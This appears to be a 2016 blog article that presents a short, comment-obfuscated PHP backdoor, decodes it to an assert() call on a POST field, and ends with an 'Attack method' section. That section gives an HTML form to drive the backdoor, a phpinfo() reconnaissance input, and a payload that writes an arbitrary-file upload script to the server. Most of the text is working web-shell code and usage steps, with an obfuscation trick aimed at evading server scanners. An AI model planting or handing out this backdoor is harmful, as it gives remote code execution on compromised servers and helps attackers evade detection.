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Backdoor Trojan with short and hidden code
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- 2016-07-30 13:29:591429browse
This article will introduce a backdoor Trojan whose code is very short and very hidden, so that everyone can avoid being hooked by the Trojan when detecting the program.
The content of the file is as follows:
<code><?php
@<span>$_</span>=<span>"s"</span>.<span>"s"</span>./*-<span>/*-*/</span><span>"e"</span>./*-<span>/*-*/</span><span>"r"</span>;
@<span>$_</span>=<span>/*-/</span>*-*<span>/"a"./</span>*-<span>/*-*/</span><span>$_</span>./*-<span>/*-*/</span><span>"t"</span>;
@<span>$_</span>/*-<span>/*-*/</span>(<span>$/</span>*-<span>/*-*/</span>{<span>"_P"</span>./*-<span>/*-*/</span><span>"OS"</span>./*-<span>/*-*/</span><span>"T"</span>}
[<span>/*-/</span>*-*<span>/0/</span>*-<span>/*-*/</span>-<span>/*-/</span>*-*<span>/2/</span>*-<span>/*-*/</span>-<span>/*-/</span>*-*<span>/5/</span>*-<span>/*-*/</span>]);?></code>
There are many comment characters inserted in the code, which will be difficult to detect if the server's detection program is not rigorous.
After deleting the annotation, the code is as follows:
<code><span><span><?php</span>
@<span>$_</span>=<span>"s"</span>.<span>"s"</span>.<span>"e"</span>.<span>"r"</span>;
@<span>$_</span>=<span>"a"</span>.<span>$_</span>.<span>"t"</span>;
@<span>$_</span>(${<span>"_P"</span>.<span>"OS"</span>.<span>"T"</span>}
[<span>0</span>-<span>2</span>-<span>5</span>]);
<span>?></span></span></code>
The final code actually executed is:
<code><span><span><?php</span>
assert(${<span>"_POST"</span>}[-<span>7</span>]);
<span>?></span></span></code>
It turns out that this backdoor uses the php assert method to execute the program.
<code><span>bool</span><span>assert</span> ( mixed $assertion [, <span>string</span> $description ] ) </code>
assert() checks the specified assertion and takes appropriate action if the result is FALSE.
If the assertion is a string, it will be executed as PHP code by assert().
If the content of $assertion is phpinfo();, the server information will be returned, allowing the attacker to obtain the server information for attack.
After uploading this backdoor, the attacker only needs to create a simple html to execute php statements in the server.
Assume the backdoor file is backdoor.php
<code><span><!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd"></span><span><<span>html</span>></span><span><<span>head</span>></span><span><<span>title</span>></span> back door <span></<span>title</span>></span><span></<span>head</span>></span><span><<span>body</span>></span><span><<span>form</span><span>name</span>=<span>"form1"</span><span>method</span>=<span>"post"</span><span>action</span>=<span>"http://www.example.com/backdoor.php"</span>></span><span><<span>p</span>></span><span><<span>textarea</span><span>name</span>=<span>"-7"</span><span>style</span>=<span>"width:500px; height:300px"</span>></span><span></<span>textarea</span>></span><span></<span>p</span>></span><span><<span>p</span>></span><span><<span>input</span><span>type</span>=<span>"submit"</span><span>value</span>=<span>"submit"</span>></span><span></<span>p</span>></span><span></<span>form</span>></span><span></<span>body</span>></span><span></<span>html</span>></span></code>
Attack method:
1. To get the server information, you can enter
<code><span>phpinfo()</span>;</code>
2. To create a php that can upload files at will, you can enter
<code>file_put_contents(<span>'hack.php'</span>, <span>'<?php move_uploaded_file($_FILES[\'</span>name\<span>'][\'</span>tmp_name\<span>'], dirname(__FILE__).\'</span>/dest.php\<span>');?>'</span> ,<span>true</span>);</code>
and then create an html to upload files and call hack.php
<code><span><!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd"></span><span><<span>html</span>></span><span><<span>head</span>></span><span><<span>title</span>></span> upload <span></<span>title</span>></span><span></<span>head</span>></span><span><<span>body</span>></span><span><<span>form</span><span>name</span>=<span>"form1"</span><span>method</span>=<span>"post"</span><span>action</span>=<span>"http://www.example.com/hack.php"</span><span>enctype</span>=<span>"multipart/form-data"</span>></span><span><<span>p</span>></span><span><<span>input</span><span>type</span>=<span>"file"</span><span>name</span>=<span>"name"</span>></span><span></<span>p</span>></span><span><<span>p</span>></span><span><<span>input</span><span>type</span>=<span>"submit"</span><span>value</span>=<span>"submit"</span>></span><span></<span>p</span>></span><span></<span>form</span>></span><span></<span>body</span>></span><span></<span>html</span>></span></code>
. Then you can upload php files and execute them.
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